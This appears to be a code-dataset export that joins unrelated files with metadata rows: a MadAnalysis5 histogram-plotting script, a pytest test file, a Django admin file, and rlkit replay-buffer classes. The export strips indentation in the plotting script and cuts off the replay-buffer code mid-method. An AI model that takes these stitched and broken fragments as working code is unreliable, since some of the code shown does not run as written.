9,0.011315818553,0.00283092949786,0.0113088163234,0.00283036508737,0.0056619644139,0.00848382833279,0.0113143488543,0.0113076698045,0.00566119493811,0.00849146537996,0.00847901141438,0.00849215790816,0.0,0.0,0.00848905692075,0.00566104873771,0.0,0.00565796313981,0.00282539158063,0.00283092949786,0.00282874149346,0.00566689675368,0.00565754762289,0.00282185699362,0.00282539158063,0.0,0.00566191055059,0.00565801700312,0.0,0.00282926088962,0.0,0.00849153848016,0.0,0.0,0.00848624063938,0.00565147261157,0.00283196636648,0.0,0.00565355019619,0.00282926088962,0.0,0.00283036508737,0.0,0.00282343095633,0.00282795662816,0.0,0.00282343095633,0.00564275829831,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.00283245536834,0.0,0.00282795662816,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0028319321248,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.00283007268657,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.00282343095633,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])
# Creating weights for histo: y12_PT_15
y12_PT_15_weights = numpy.array([0.0,0.0,0.394449814754,0.216299134504,0.138659597245,0.120295210766,0.0777518307044,0.059421775151,0.0471997172589,0.0320061020305,0.0335240489537,0.0182948028329,0.0212931394734,0.0167682170432,0.0166966716295,0.0136766964603,0.0121873960655,0.0045682869398,0.00607700646643,0.00765258089234,0.0106790464383,0.0106412115123,0.00303272074709,0.00456887783354,0.00757996241553,0.00154527103146,0.00610275525195,0.00304396190956,0.00455876409632,0.00152081275786,0.00459580958833,0.00305778882303,0.00151713739881,0.00151713739881,0.0,0.00458218948767,0.0,0.0,0.0,0.0,0.0,0.0,0.00153139330113,0.00150836026323,0.00307167600766,0.00154527103146,0.0,0.0,0.00151868199504,0.00153139330113,0.00152081275786,0.0,0.0,0.0,0.0,0.00153205982927,0.0,0.00151713739881,0.0,0.0,0.0,0.0,0.00153319789061,0.0,0.0,0.00152753831039,0.00153807630931,0.00152179127789,0.0,0.0015224696239,0.0,0.0,0.0,0.0,0.0,0.00151251779157,0.00152435930208,0.0,0.0,0.0,0.00153139330113,0.0,0.00150836026323,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.00151102046684,0.0,0.0,0.0,0.0,0.00153551892121,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.00152630688784,0.0,0.0,0.0,0.00151251779157,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.00152435930208,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])
# Creating weights for histo: y12_PT_16
y12_PT_16_weights = numpy.array([0.0,0.0,0.0249157432097,0.0142670720813,0.0102929046349,0.00722357330776,0.0057788678889,0.00523634901864,0.00252661296881,0.00270579173241,0.0028899638586,0.00108341333798,0.00252898564403,0.0023460766853,0.00144398333381,0.00108152936993,0.000540986509495,0.000180745977012,0.000723333204661,0.000541243764331,0.000180546912604,0.000541675474917,0.000541404356048,0.000722590323555,0.000360950409488,0.0,0.000542557766578,0.000541765976244,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.000180745977012,0.0,0.0,0.0,0.0,0.000180826927561,0.0,0.0,0.000180563241354,0.0,0.0,0.0,0.0,0.0,0.000180262776948,0.0,0.000180461879868,0.0,0.000180058397994,0.000180826927561,0.000180403535395,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.000180814989088,0.0,0.0,0.0,0.000181228522386,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.000180063327428,0.0,0.0,0.0,0.000181030266713,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.000180214329855,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])
# Creating a new Canvas
fig = plt.figure(figsize=(12,6),dpi=80)
frame = gridspec.GridSpec(1,1,right=0.7)
pad = fig.add_subplot(frame[0])
# Creating a new Stack
pad.hist(x=xData, bins=xBinning, weights=y12_PT_0_weights+y12_PT_1_weights+y12_PT_2_weights+y12_PT_3_weights+y12_PT_4_weights+y12_PT_5_weights+y12_PT_6_weights+y12_PT_7_weights+y12_PT_8_weights+y12_PT_9_weights+y12_PT_10_weights+y12_PT_11_weights+y12_PT_12_weights+y12_PT_13_weights+y12_PT_14_weights+y12_PT_15_weights+y12_PT_16_weights,\
label="$bg\_dip\_1600\_inf$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#e5e5e5", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y12_PT_0_weights+y12_PT_1_weights+y12_PT_2_weights+y12_PT_3_weights+y12_PT_4_weights+y12_PT_5_weights+y12_PT_6_weights+y12_PT_7_weights+y12_PT_8_weights+y12_PT_9_weights+y12_PT_10_weights+y12_PT_11_weights+y12_PT_12_weights+y12_PT_13_weights+y12_PT_14_weights+y12_PT_15_weights,\
label="$bg\_dip\_1200\_1600$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#f2f2f2", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y12_PT_0_weights+y12_PT_1_weights+y12_PT_2_weights+y12_PT_3_weights+y12_PT_4_weights+y12_PT_5_weights+y12_PT_6_weights+y12_PT_7_weights+y12_PT_8_weights+y12_PT_9_weights+y12_PT_10_weights+y12_PT_11_weights+y12_PT_12_weights+y12_PT_13_weights+y12_PT_14_weights,\
label="$bg\_dip\_800\_1200$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#ccc6aa", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y12_PT_0_weights+y12_PT_1_weights+y12_PT_2_weights+y12_PT_3_weights+y12_PT_4_weights+y12_PT_5_weights+y12_PT_6_weights+y12_PT_7_weights+y12_PT_8_weights+y12_PT_9_weights+y12_PT_10_weights+y12_PT_11_weights+y12_PT_12_weights+y12_PT_13_weights,\
label="$bg\_dip\_600\_800$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#ccc6aa", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y12_PT_0_weights+y12_PT_1_weights+y12_PT_2_weights+y12_PT_3_weights+y12_PT_4_weights+y12_PT_5_weights+y12_PT_6_weights+y12_PT_7_weights+y12_PT_8_weights+y12_PT_9_weights+y12_PT_10_weights+y12_PT_11_weights+y12_PT_12_weights,\
label="$bg\_dip\_400\_600$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#c1bfa8", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y12_PT_0_weights+y12_PT_1_weights+y12_PT_2_weights+y12_PT_3_weights+y12_PT_4_weights+y12_PT_5_weights+y12_PT_6_weights+y12_PT_7_weights+y12_PT_8_weights+y12_PT_9_weights+y12_PT_10_weights+y12_PT_11_weights,\
label="$bg\_dip\_200\_400$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#bab5a3", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y12_PT_0_weights+y12_PT_1_weights+y12_PT_2_weights+y12_PT_3_weights+y12_PT_4_weights+y12_PT_5_weights+y12_PT_6_weights+y12_PT_7_weights+y12_PT_8_weights+y12_PT_9_weights+y12_PT_10_weights,\
label="$bg\_dip\_100\_200$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#b2a596", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y12_PT_0_weights+y12_PT_1_weights+y12_PT_2_weights+y12_PT_3_weights+y12_PT_4_weights+y12_PT_5_weights+y12_PT_6_weights+y12_PT_7_weights+y12_PT_8_weights+y12_PT_9_weights,\
label="$bg\_dip\_0\_100$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#b7a39b", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y12_PT_0_weights+y12_PT_1_weights+y12_PT_2_weights+y12_PT_3_weights+y12_PT_4_weights+y12_PT_5_weights+y12_PT_6_weights+y12_PT_7_weights+y12_PT_8_weights,\
label="$bg\_vbf\_1600\_inf$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#ad998c", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y12_PT_0_weights+y12_PT_1_weights+y12_PT_2_weights+y12_PT_3_weights+y12_PT_4_weights+y12_PT_5_weights+y12_PT_6_weights+y12_PT_7_weights,\
label="$bg\_vbf\_1200\_1600$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#9b8e82", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y12_PT_0_weights+y12_PT_1_weights+y12_PT_2_weights+y12_PT_3_weights+y12_PT_4_weights+y12_PT_5_weights+y12_PT_6_weights,\
label="$bg\_vbf\_800\_1200$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#876656", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y12_PT_0_weights+y12_PT_1_weights+y12_PT_2_weights+y12_PT_3_weights+y12_PT_4_weights+y12_PT_5_weights,\
label="$bg\_vbf\_600\_800$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#afcec6", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y12_PT_0_weights+y12_PT_1_weights+y12_PT_2_weights+y12_PT_3_weights+y12_PT_4_weights,\
label="$bg\_vbf\_400\_600$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#84c1a3", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y12_PT_0_weights+y12_PT_1_weights+y12_PT_2_weights+y12_PT_3_weights,\
label="$bg\_vbf\_200\_400$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#89a8a0", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y12_PT_0_weights+y12_PT_1_weights+y12_PT_2_weights,\
label="$bg\_vbf\_100\_200$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#829e8c", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y12_PT_0_weights+y12_PT_1_weights,\
label="$bg\_vbf\_0\_100$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#adbcc6", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
pad.hist(x=xData, bins=xBinning, weights=y12_PT_0_weights,\
label="$signal$", histtype="step", rwidth=1.0,\
color=None, edgecolor="#7a8e99", linewidth=1, linestyle="solid",\
bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical")
# Axis
plt.rc('text',usetex=False)
plt.xlabel(r"p_{T} [ a_{2} ] ( GeV ) ",\
fontsize=16,color="black")
plt.ylabel(r"$\mathrm{Events}$ $(\mathcal{L}_{\mathrm{int}} = 40.0\ \mathrm{fb}^{-1})$ ",\
fontsize=16,color="black")
# Boundary of y-axis
ymax=(y12_PT_0_weights+y12_PT_1_weights+y12_PT_2_weights+y12_PT_3_weights+y12_PT_4_weights+y12_PT_5_weights+y12_PT_6_weights+y12_PT_7_weights+y12_PT_8_weights+y12_PT_9_weights+y12_PT_10_weights+y12_PT_11_weights+y12_PT_12_weights+y12_PT_13_weights+y12_PT_14_weights+y12_PT_15_weights+y12_PT_16_weights).max()*1.1
ymin=0 # linear scale
#ymin=min([x for x in (y12_PT_0_weights+y12_PT_1_weights+y12_PT_2_weights+y12_PT_3_weights+y12_PT_4_weights+y12_PT_5_weights+y12_PT_6_weights+y12_PT_7_weights+y12_PT_8_weights+y12_PT_9_weights+y12_PT_10_weights+y12_PT_11_weights+y12_PT_12_weights+y12_PT_13_weights+y12_PT_14_weights+y12_PT_15_weights+y12_PT_16_weights) if x])/100. # log scale
plt.gca().set_ylim(ymin,ymax)
# Log/Linear scale for X-axis
plt.gca().set_xscale("linear")
#plt.gca().set_xscale("log",nonposx="clip")
# Log/Linear scale for Y-axis
plt.gca().set_yscale("linear")
#plt.gca().set_yscale("log",nonposy="clip")
# Legend
plt.legend(bbox_to_anchor=(1.05,1), loc=2, borderaxespad=0.)
# Saving the image
plt.savefig('../../HTML/MadAnalysis5job_0/selection_11.png')
plt.savefig('../../PDF/MadAnalysis5job_0/selection_11.png')
plt.savefig('../../DVI/MadAnalysis5job_0/selection_11.eps')
# Running!
if __name__ == '__main__':
selection_11()
| 311.556701
| 5,900
| 0.708382
| 16,292
| 60,442
| 2.58317
| 0.124785
| 0.486254
| 0.713413
| 0.931828
| 0.429298
| 0.405869
| 0.402471
| 0.389664
| 0.385601
| 0.3789
| 0
| 0.604692
| 0.027382
| 60,442
| 193
| 5,901
| 313.170984
| 0.111198
| 0.021789
| 0
| 0.185841
| 0
| 0.00885
| 0.017634
| 0.003436
| 0
| 0
| 0
| 0
| 0
| 1
| 0.00885
| false
| 0
| 0.035398
| 0
| 0.044248
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
152f485e0eedabd378638dd3a044abf4f4b5bbbf
| 1,034
|
py
|
Python
|
week3/module2/module3_21_test.py
|
ivaninkv/python_basics
|
84bbdf4d0667ca2416e3594538e7ec48f0b88f47
|
[
"MIT"
] | null | null | null |
week3/module2/module3_21_test.py
|
ivaninkv/python_basics
|
84bbdf4d0667ca2416e3594538e7ec48f0b88f47
|
[
"MIT"
] | 1
|
2021-12-13T20:46:59.000Z
|
2021-12-13T20:46:59.000Z
|
week3/module2/module3_21_test.py
|
ivaninkv/python_basics
|
84bbdf4d0667ca2416e3594538e7ec48f0b88f47
|
[
"MIT"
] | 1
|
2020-08-06T21:17:34.000Z
|
2020-08-06T21:17:34.000Z
|
import module3_21 as tm
from io import StringIO
def test_input_data(monkeypatch):
inp = StringIO('''ababa\na\nb''')
monkeypatch.setattr('sys.stdin', inp)
assert tm.input_data() == ['ababa', 'a', 'b']
inp = StringIO('''ababa\nb\na''')
monkeypatch.setattr('sys.stdin', inp)
assert tm.input_data() == ['ababa', 'b', 'a']
def test_integr(monkeypatch, capsys):
inp = StringIO('''ababa\na\nb''')
monkeypatch.setattr('sys.stdin', inp)
tm.main()
cap_out, _ = capsys.readouterr()
assert cap_out == '1\n'
inp = StringIO('''ababa\nb\na''')
monkeypatch.setattr('sys.stdin', inp)
tm.main()
cap_out, _ = capsys.readouterr()
assert cap_out == '1\n'
inp = StringIO('''ababa\nc\nc''')
monkeypatch.setattr('sys.stdin', inp)
tm.main()
cap_out, _ = capsys.readouterr()
assert cap_out == '0\n'
inp = StringIO('''ababac\nc\nc''')
monkeypatch.setattr('sys.stdin', inp)
tm.main()
cap_out, _ = capsys.readouterr()
assert cap_out == 'Impossible\n'
| 26.512821
| 49
| 0.613153
| 137
| 1,034
| 4.49635
| 0.255474
| 0.077922
| 0.204545
| 0.253247
| 0.788961
| 0.788961
| 0.788961
| 0.788961
| 0.788961
| 0.788961
| 0
| 0.00722
| 0.196325
| 1,034
| 38
| 50
| 27.210526
| 0.734055
| 0
| 0
| 0.666667
| 0
| 0
| 0.15087
| 0
| 0
| 0
| 0
| 0
| 0.2
| 1
| 0.066667
| false
| 0
| 0.066667
| 0
| 0.133333
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
15343930ad58b788efdc30330c2d49b06ac1ef86
| 151
|
py
|
Python
|
estore/admin.py
|
sidmanu/EGBangalore
|
cd4ad1fe65202f701df4d44b40fb9da0867dd947
|
[
"Apache-2.0"
] | null | null | null |
estore/admin.py
|
sidmanu/EGBangalore
|
cd4ad1fe65202f701df4d44b40fb9da0867dd947
|
[
"Apache-2.0"
] | null | null | null |
estore/admin.py
|
sidmanu/EGBangalore
|
cd4ad1fe65202f701df4d44b40fb9da0867dd947
|
[
"Apache-2.0"
] | null | null | null |
from django.contrib import admin
from estore.models import Book
from estore.models import Event
admin.site.register(Book)
admin.site.register(Event)
| 21.571429
| 32
| 0.821192
| 23
| 151
| 5.391304
| 0.478261
| 0.16129
| 0.258065
| 0.354839
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.10596
| 151
| 6
| 33
| 25.166667
| 0.918519
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.6
| 0
| 0.6
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
153db456e4d376de3a9c2e4d9b593ace7f42ace2
| 15,815
|
py
|
Python
|
rlkit/rlkit/data_management/simple_replay_buffer.py
|
hbutsuak95/iv_rl
|
0f72a8f077a238237027ea96b7d1160c35ac9959
|
[
"MIT"
] | 9
|
2022-01-16T11:27:00.000Z
|
2022-03-13T14:04:48.000Z
|
rlkit/rlkit/data_management/simple_replay_buffer.py
|
hbutsuak95/iv_rl
|
0f72a8f077a238237027ea96b7d1160c35ac9959
|
[
"MIT"
] | null | null | null |
rlkit/rlkit/data_management/simple_replay_buffer.py
|
hbutsuak95/iv_rl
|
0f72a8f077a238237027ea96b7d1160c35ac9959
|
[
"MIT"
] | null | null | null |
from collections import OrderedDict
import numpy as np
import warnings
from rlkit.data_management.replay_buffer import ReplayBuffer, EnsembleReplayBuffer
class SimpleReplayBuffer(ReplayBuffer):
def __init__(
self,
max_replay_buffer_size,
observation_dim,
action_dim,
env_info_sizes,
replace = True,
):
self._observation_dim = observation_dim
self._action_dim = action_dim
self._max_replay_buffer_size = max_replay_buffer_size
self._observations = np.zeros((max_replay_buffer_size, observation_dim))
# It's a bit memory inefficient to save the observations twice,
# but it makes the code *much* easier since you no longer have to
# worry about termination conditions.
self._next_obs = np.zeros((max_replay_buffer_size, observation_dim))
self._actions = np.zeros((max_replay_buffer_size, action_dim))
# Make everything a 2D np array to make it easier for other code to
# reason about the shape of the data
self._rewards = np.zeros((max_replay_buffer_size, 1))
# self._terminals[i] = a terminal was received at time i
self._terminals = np.zeros((max_replay_buffer_size, 1), dtype='uint8')
# Define self._env_infos[key][i] to be the return value of env_info[key]
# at time i
self._env_infos = {}
for key, size in env_info_sizes.items():
self._env_infos[key] = np.zeros((max_replay_buffer_size, size))
self._env_info_keys = env_info_sizes.keys()
self._replace = replace
self._top = 0
self._size = 0
def add_sample(self, observation, action, reward, next_observation,
terminal, env_info, **kwargs):
self._observations[self._top] = observation
self._actions[self._top] = action
self._rewards[self._top] = reward
self._terminals[self._top] = terminal
self._next_obs[self._top] = next_observation
for key in self._env_info_keys:
self._env_infos[key][self._top] = env_info[key]
self._advance()
def terminate_episode(self):
pass
def _advance(self):
self._top = (self._top + 1) % self._max_replay_buffer_size
if self._size < self._max_replay_buffer_size:
self._size += 1
def random_batch(self, batch_size):
indices = np.random.choice(self._size, size=batch_size, replace=self._replace or self._size < batch_size)
if not self._replace and self._size < batch_size:
warnings.warn('Replace was set to false, but is temporarily set to true because batch size is larger than current size of replay.')
batch = dict(
observations=self._observations[indices],
actions=self._actions[indices],
rewards=self._rewards[indices],
terminals=self._terminals[indices],
next_observations=self._next_obs[indices],
)
for key in self._env_info_keys:
assert key not in batch.keys()
batch[key] = self._env_infos[key][indices]
return batch
def rebuild_env_info_dict(self, idx):
return {
key: self._env_infos[key][idx]
for key in self._env_info_keys
}
def batch_env_info_dict(self, indices):
return {
key: self._env_infos[key][indices]
for key in self._env_info_keys
}
def num_steps_can_sample(self):
return self._size
def get_diagnostics(self):
return OrderedDict([
('size', self._size)
])
class EnsembleSimpleReplayBuffer(EnsembleReplayBuffer):
def __init__(
self,
max_replay_buffer_size,
observation_dim,
action_dim,
env_info_sizes,
num_ensemble,
log_dir,
):
self._observation_dim = observation_dim
self._action_dim = action_dim
self._max_replay_buffer_size = max_replay_buffer_size
self._observations = np.zeros((max_replay_buffer_size, observation_dim))
# It's a bit memory inefficient to save the observations twice,
# but it makes the code *much* easier since you no longer have to
# worry about termination conditions.
self._next_obs = np.zeros((max_replay_buffer_size, observation_dim))
self._actions = np.zeros((max_replay_buffer_size, action_dim))
# Make everything a 2D np array to make it easier for other code to
# reason about the shape of the data
self._rewards = np.zeros((max_replay_buffer_size, 1))
# self._terminals[i] = a terminal was received at time i
self._terminals = np.zeros((max_replay_buffer_size, 1), dtype='uint8')
# Define self._env_infos[key][i] to be the return value of env_info[key]
# at time i
self._env_infos = {}
for key, size in env_info_sizes.items():
self._env_infos[key] = np.zeros((max_replay_buffer_size, size))
self._env_info_keys = env_info_sizes.keys()
# define mask
self._mask = np.zeros((max_replay_buffer_size, num_ensemble))
self._top = 0
self._size = 0
self.buffer_dir = log_dir + '/buffer/'
def add_sample(self, observation, action, reward, next_observation,
terminal, mask, env_info, **kwargs):
self._observations[self._top] = observation
self._actions[self._top] = action
self._rewards[self._top] = reward
self._terminals[self._top] = terminal
self._next_obs[self._top] = next_observation
self._mask[self._top] = mask
for key in self._env_info_keys:
self._env_infos[key][self._top] = env_info[key]
self._advance()
def terminate_episode(self):
pass
def _advance(self):
self._top = (self._top + 1) % self._max_replay_buffer_size
if self._size < self._max_replay_buffer_size:
self._size += 1
def random_batch(self, batch_size):
indices = np.random.randint(0, self._size, batch_size)
batch = dict(
observations=self._observations[indices],
actions=self._actions[indices],
rewards=self._rewards[indices],
terminals=self._terminals[indices],
next_observations=self._next_obs[indices],
masks=self._mask[indices],
)
for key in self._env_info_keys:
assert key not in batch.keys()
batch[key] = self._env_infos[key][indices]
return batch
def rebuild_env_info_dict(self, idx):
return {
key: self._env_infos[key][idx]
for key in self._env_info_keys
}
def batch_env_info_dict(self, indices):
return {
